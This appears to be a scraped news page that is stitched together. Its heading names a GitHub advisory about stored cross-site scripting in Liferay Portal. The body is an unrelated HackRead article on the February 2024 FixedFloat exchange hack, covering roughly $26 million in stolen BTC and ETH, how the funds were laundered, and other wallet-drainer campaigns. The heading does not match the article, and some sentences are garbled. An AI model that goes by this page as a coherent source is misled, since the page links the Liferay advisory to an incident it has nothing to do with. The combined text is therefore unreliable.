GHSA-q2cv-7j58-rfmj: Liferay Portal Document and Media widget and Liferay DXP vulnerable to stored Cross-site Scripting

By Deeba Ahmed
FixedFloat suffered a significant loss of over 1,700 Ethereum and over 400 Bitcoin due to a drainer attack on February 18, 2024.
This is a post from HackRead.com Read the original post: Crypto Exchange FixedFloat Hacked: $26 Million in BTC, ETH Stolen

Another day, another cryptocurrency exchange falls victim to a massive data breach. This time, it’s FixedFloat, a non-KYC Bitcoin and Ethereum crypto exchange targeted in a wallet-drainer attack.

FixedFloat, a decentralized crypto exchange, has been hacked for at least $26 million worth of **Bitcoin and Ethereum**. The attack, initially attributed to minor technical issues, has led to frozen transactions and missing funds.

For your information, FixedFloat is an automated crypto exchange with 26% of its web traffic coming from the US. It integrates with Lightning Network for Bitcoin transactions.

As seen by Hackread.com, users reported frozen transactions and missing funds on the X exchange since February 17, with 409 Bitcoin (Approximately $21 million) and 1,728 Ether tokens (approximately $4.7 million) drained on February 18.

The exchange is investigating the security incident. FixedFloat’s website is also displaying an error message on all pages, stating **“ERROR – Technical work is underway, we will be back soon! If you need to contact us, you can do this via chat.”**

The stolen funds were sent to the Ethereum exchange. Threat researcher going by the X (formerly Twitter) handle of “**Officer’s Notes**” revealed that the hacker first transferred ETH to different ETH addresses and finally moved them to the eXch exchange. They then sent funds to two HitBTC addresses, which received their initial ETH deposits in 2021. This seems to be an attempt to create a false trail.

> . @FixedFloat hacked, resulting in ~1,728 ETH (worth ~$4.85m) and & 409 BTC (worth ~$21m) stolen. The drainer already transferred most of the stolen ETH to eXch on Ethereum. 26M$ loss in total!
> 
> Drainer on Ethereum (1700 ETH stolen): 0x85c4fF99bF0eCb24e02921b0D4b5d336523Fa085… https://t.co/imeXB1h7Jv pic.twitter.com/oquw373NOG
> 
> — Officer's Notes (@officer\_cia) February 19, 2024

“I don’t see any addresses (other than the hacker’s address) that link these 2 HitBTC deposit addresses…Most likely, the hacker created only a false trail,” the researcher **explained** on X (Twitter). This was **confirmed** by the Web3 security platform Cyvers on X as well.

The cryptocurrency exchange confirmed it was an external attack, rubbishing rumours of **insider involvement**. Users and analysts initially claimed FixedFloat developers were behind the hacking, but the exchange denied any internal involvement.

Although the company is yet to reveal the core information on how it happened, cybersecurity researchers are positive that the hack was **caused by vulnerabilities** and insufficient security measures, allowing the attacker to bypass defences and access core service functions.

****Wallet Drainer Attack?****

As to what type of vulnerabilities, researchers believe that it was a wallet drainer attack. A wallet drainer attack is a malicious technique employed by cybercriminals to steal cryptocurrency from unsuspecting victims’ wallets. It typically involves exploiting **vulnerabilities in smart contracts** or tricking users into granting unauthorized access to their funds.

FixedFloat stated that no user funds were affected, but the hack affected 30 outstanding orders, which the exchange will pay as soon as its services resume.

FixedFloat faced criticism for not reporting the hack immediately, while the company maintains it was focusing on minimizing loss and eliminating vulnerabilities. The platform expects full operations to resume soon and release a detailed report after the investigation is complete.

****Surge in Drainer Attacks****

Nevertheless, it is concerning that cryptocurrency exchanges have become a prominent target of scammers lately. Last month Group-IB Global Pvt. Ltd. **disclosed** details of a phishing operation dubbed Inferno Drainer targeting cryptocurrency wallet providers. The scammers targeted over 100 brands and 16,000 malicious domains, stealing over $80 million in digital assets from November 2022 to November 2023. The team reaped $87 million in illicit profits and scammed over 137,000 victims.

In June 2023, Pink Drainer, a notorious hacker group, successfully **executed** a series of high-profile Discord and Twitter hacks targeting projects like Evomos, Pika Protocol, OpenAI CTO, and Orbiter Finance. Online scam detector ScamSniffer confirmed Pink Drainer stole around $3 million from nearly 1,932 victims.

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